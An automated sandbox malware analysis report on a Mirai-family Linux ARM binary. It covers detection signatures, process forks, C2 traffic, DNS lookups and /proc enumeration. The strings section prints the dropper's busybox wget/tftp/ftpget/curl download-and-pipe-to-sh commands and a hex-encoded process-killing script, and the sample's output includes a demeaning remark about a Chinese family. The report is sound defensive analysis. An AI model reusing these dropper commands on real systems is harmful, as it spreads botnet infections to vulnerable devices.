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Linux Analysis Report
jklarm7.elf

Overview

General Information

Sample name:	jklarm7.elf
Analysis ID:	1643370
MD5:	31e516ce6c5fc7b6da97c38e18dfda2b
SHA1:	f5f41ea7c7d384df77844fc264d6323bb52047ec
SHA256:	def66ddad4892f25da8ed7dc18359ab5f62915d65cbb475a92cf6df5d88dea32
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643370
Start date and time:	2025-03-19 19:49:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklarm7.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/149@19/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/jklarm7.elf
PID:	6254
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jklarm7.elf (PID: 6254, Parent: 6175, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jklarm7.elf

jklarm7.elf New Fork (PID: 6258, Parent: 6254)

jklarm7.elf New Fork (PID: 6260, Parent: 6258)

jklarm7.elf New Fork (PID: 6262, Parent: 6258)

jklarm7.elf New Fork (PID: 6263, Parent: 6258)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh40

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:52008 -> 185.220.204.227:1440
Source: global traffic	TCP traffic: 192.168.2.23:55786 -> 45.147.251.145:1440

Source: /tmp/jklarm7.elf (PID: 6254)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 130.186.14.69
Source: unknown	TCP traffic detected without corresponding DNS query: 136.201.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 130.186.14.69
Source: unknown	TCP traffic detected without corresponding DNS query: 112.252.2.69
Source: unknown	TCP traffic detected without corresponding DNS query: 136.201.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 170.193.182.104
Source: unknown	TCP traffic detected without corresponding DNS query: 112.252.2.69
Source: unknown	TCP traffic detected without corresponding DNS query: 3.104.82.235
Source: unknown	TCP traffic detected without corresponding DNS query: 170.193.182.104
Source: unknown	TCP traffic detected without corresponding DNS query: 3.104.82.235
Source: unknown	TCP traffic detected without corresponding DNS query: 116.233.241.66
Source: unknown	TCP traffic detected without corresponding DNS query: 116.233.241.66
Source: unknown	TCP traffic detected without corresponding DNS query: 171.253.190.39
Source: unknown	TCP traffic detected without corresponding DNS query: 100.12.122.69
Source: unknown	TCP traffic detected without corresponding DNS query: 171.253.190.39
Source: unknown	TCP traffic detected without corresponding DNS query: 201.217.0.206
Source: unknown	TCP traffic detected without corresponding DNS query: 100.12.122.69
Source: unknown	TCP traffic detected without corresponding DNS query: 81.250.199.70
Source: unknown	TCP traffic detected without corresponding DNS query: 201.217.0.206
Source: unknown	TCP traffic detected without corresponding DNS query: 60.56.252.228
Source: unknown	TCP traffic detected without corresponding DNS query: 81.250.199.70
Source: unknown	TCP traffic detected without corresponding DNS query: 172.231.111.145
Source: unknown	TCP traffic detected without corresponding DNS query: 60.56.252.228
Source: unknown	TCP traffic detected without corresponding DNS query: 106.244.93.190
Source: unknown	TCP traffic detected without corresponding DNS query: 172.231.111.145
Source: unknown	TCP traffic detected without corresponding DNS query: 206.30.140.67
Source: unknown	TCP traffic detected without corresponding DNS query: 106.244.93.190
Source: unknown	TCP traffic detected without corresponding DNS query: 17.22.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 206.30.140.67
Source: unknown	TCP traffic detected without corresponding DNS query: 51.228.237.40
Source: unknown	TCP traffic detected without corresponding DNS query: 17.22.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 196.33.222.237
Source: unknown	TCP traffic detected without corresponding DNS query: 51.228.237.40
Source: unknown	TCP traffic detected without corresponding DNS query: 133.6.122.252
Source: unknown	TCP traffic detected without corresponding DNS query: 196.33.222.237
Source: unknown	TCP traffic detected without corresponding DNS query: 133.6.122.252
Source: unknown	TCP traffic detected without corresponding DNS query: 172.153.119.168
Source: unknown	TCP traffic detected without corresponding DNS query: 172.153.119.168
Source: unknown	TCP traffic detected without corresponding DNS query: 25.124.219.127
Source: unknown	TCP traffic detected without corresponding DNS query: 217.91.253.136
Source: unknown	TCP traffic detected without corresponding DNS query: 25.124.219.127
Source: unknown	TCP traffic detected without corresponding DNS query: 223.249.227.168
Source: unknown	TCP traffic detected without corresponding DNS query: 217.91.253.136
Source: unknown	TCP traffic detected without corresponding DNS query: 156.3.225.13
Source: unknown	TCP traffic detected without corresponding DNS query: 223.249.227.168
Source: unknown	TCP traffic detected without corresponding DNS query: 34.226.11.183
Source: unknown	TCP traffic detected without corresponding DNS query: 156.3.225.13
Source: unknown	TCP traffic detected without corresponding DNS query: 121.9.100.190
Source: unknown	TCP traffic detected without corresponding DNS query: 34.226.11.183

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: jklarm7.elf	String found in binary or memory: http:///curl.sh
Source: jklarm7.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/149@19/0

Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6266/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6329/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6262)	File opened: /proc/6329/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1582/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/3088/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1579/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1699/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1335/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1698/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1334/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1576/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/2302/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/910/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/912/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/2307/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/918/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/6240/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1594/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1349/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1344/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1465/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1586/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/248/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/128/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/249/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/1463/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/800/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/9/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6254)	File opened: /proc/801/comm	Jump to behavior

Source: /tmp/jklarm7.elf (PID: 6254)

Queries kernel information via 'uname':

Jump to behavior

Source: jklarm7.elf, 6254.1.00007ffd21fbc000.00007ffd21fdd000.rw-.sdmp, jklarm7.elf, 6260.1.00007ffd21fbc000.00007ffd21fdd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/jklarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm7.elf
Source: jklarm7.elf, 6254.1.0000556717e34000.0000556717f84000.rw-.sdmp, jklarm7.elf, 6260.1.0000556717e34000.0000556717f84000.rw-.sdmp	Binary or memory string: gU!/etc/qemu-binfmt/arm
Source: jklarm7.elf, 6254.1.0000556717e34000.0000556717f84000.rw-.sdmp, jklarm7.elf, 6260.1.0000556717e34000.0000556717f84000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm7.elf, 6254.1.00007ffd21fbc000.00007ffd21fdd000.rw-.sdmp, jklarm7.elf, 6260.1.00007ffd21fbc000.00007ffd21fdd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
jklarm7.elf	50%	Virustotal		Browse
jklarm7.elf	56%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	45.147.251.145	true	false	high
ohlookthereismyboats.geek	104.248.47.182	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklarm7.elf	false		high
http:///curl.sh	jklarm7.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
32.38.201.221	unknown	United States	2686	ATGS-MMD-ASUS	false
58.47.209.247	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
71.252.185.163	unknown	United States	5650	FRONTIER-FRTRUS	false
94.42.111.48	unknown	Poland	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
81.75.121.92	unknown	Italy	3269	ASN-IBSNAZIT	false
212.124.255.165	unknown	Austria	3561	CENTURYLINK-LEGACY-SAVVISUS	false
199.138.141.17	unknown	United States	4152	USDA-1US	false
40.232.141.23	unknown	United States	4249	LILLY-ASUS	false
188.61.170.114	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
85.0.193.68	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
41.233.16.155	unknown	Egypt	8452	TE-ASTE-ASEG	false
135.174.220.6	unknown	United States	14962	NCR-252US	false
130.63.121.32	unknown	Canada	802	YORKU-ASCA	false
12.25.7.106	unknown	United States	7018	ATT-INTERNET4US	false
75.92.247.85	unknown	United States	7029	WINDSTREAMUS	false
4.30.195.129	unknown	United States	3356	LEVEL3US	false
148.201.127.59	unknown	Mexico	1831	ITESOACMX	false
162.88.202.84	unknown	United States	33517	DYNDNSUS	false
38.141.235.63	unknown	United States	40285	NORTHLAND-CABLEUS	false
187.84.141.191	unknown	Brazil	28255	WESTINTERNETBANDALARGABR	false
170.26.206.138	unknown	United States	23410	NET-NASSAU-BOCESUS	false
161.248.151.241	unknown	unknown	396269	BPL-ASNUS	false
104.187.1.219	unknown	United States	7018	ATT-INTERNET4US	false
5.167.2.119	unknown	Russian Federation	51645	IRKUTSK-ASRU	false
88.98.189.159	unknown	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
154.234.193.169	unknown	Cote D'ivoire	36974	AFNET-ASCI	false
88.138.235.91	unknown	France	8228	CEGETEL-ASFR	false
158.6.65.35	unknown	United States	1535	DNIC-ASBLK-01534-01546US	false
76.216.76.176	unknown	United States	7018	ATT-INTERNET4US	false
133.218.123.93	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
9.5.137.224	unknown	United States	3356	LEVEL3US	false
197.4.200.64	unknown	Tunisia	5438	ATI-TN	false
134.158.237.9	unknown	France	789	IN2P3IN2P3AutonomousSystemEU	false
18.210.70.145	unknown	United States	14618	AMAZON-AESUS	false
152.7.133.186	unknown	United States	11442	NCSUUS	false
6.210.243.137	unknown	United States	3356	LEVEL3US	false
169.178.107.29	unknown	United States	37611	AfrihostZA	false
153.25.226.222	unknown	United States	6035	DNIC-ASBLK-05800-06055US	false
187.219.160.145	unknown	Mexico	8151	UninetSAdeCVMX	false
218.106.134.139	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
201.49.18.168	unknown	Brazil	11921	SECRELNETINFORMATICALTDABR	false
45.219.79.24	unknown	Morocco	36925	ASMediMA	false
210.109.233.190	unknown	Korea Republic of	9770	SPEEDONSTV-AS-KRLGHelloVisionCorpKR	false
139.189.24.167	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
90.57.167.151	unknown	France	3215	FranceTelecom-OrangeFR	false
164.154.233.181	unknown	United States	7773	SD-NETUS	false
92.17.32.127	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
3.169.185.157	unknown	United States	16509	AMAZON-02US	false
34.226.11.183	unknown	United States	14618	AMAZON-AESUS	false
219.88.189.248	unknown	New Zealand	4771	SPARKNZSparkNewZealandTradingLtdNZ	false
37.249.54.146	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
150.238.22.32	unknown	United States	36351	SOFTLAYERUS	false
7.98.58.19	unknown	United States	3356	LEVEL3US	false
132.81.83.25	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
96.25.163.4	unknown	United States	16625	AKAMAI-ASUS	false
48.118.19.239	unknown	United States	2686	ATGS-MMD-ASUS	false
43.235.151.12	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
103.244.212.78	unknown	New Zealand	132534	HEALTHLINKLIMITED-AS-APHealthlinkLimitedNZ	false
191.24.237.7	unknown	Brazil	26599	TELEFONICABRASILSABR	false
73.125.226.121	unknown	United States	7922	COMCAST-7922US	false
196.21.16.212	unknown	South Africa	2018	TENET-1ZA	false
11.50.88.251	unknown	United States	3356	LEVEL3US	false
201.30.166.211	unknown	Brazil	4230	CLAROSABR	false
14.133.26.36	unknown	Japan	18126	CTCXChubuTelecommunicationsCompanyIncJP	false
173.172.81.91	unknown	United States	11427	TWC-11427-TEXASUS	false
139.248.208.220	unknown	United States	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
82.3.200.88	unknown	United Kingdom	5089	NTLGB	false
175.234.158.156	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
148.200.133.37	unknown	Netherlands	33915	TNF-ASNL	false
172.207.187.157	unknown	United States	18747	IFX18747US	false
167.206.25.220	unknown	United States	6128	CABLE-NET-1US	false
215.223.236.67	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
51.38.221.231	unknown	France	16276	OVHFR	false
145.227.242.127	unknown	United Kingdom	8255	EURO-INFORMATIONFR	false
24.110.80.244	unknown	United States	33363	BHN-33363US	false
9.81.107.162	unknown	United States	3356	LEVEL3US	false
121.41.241.190	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
196.145.152.71	unknown	Egypt	36935	Vodafone-EG	false
23.226.230.200	unknown	United States	3842	RAMNODEUS	false
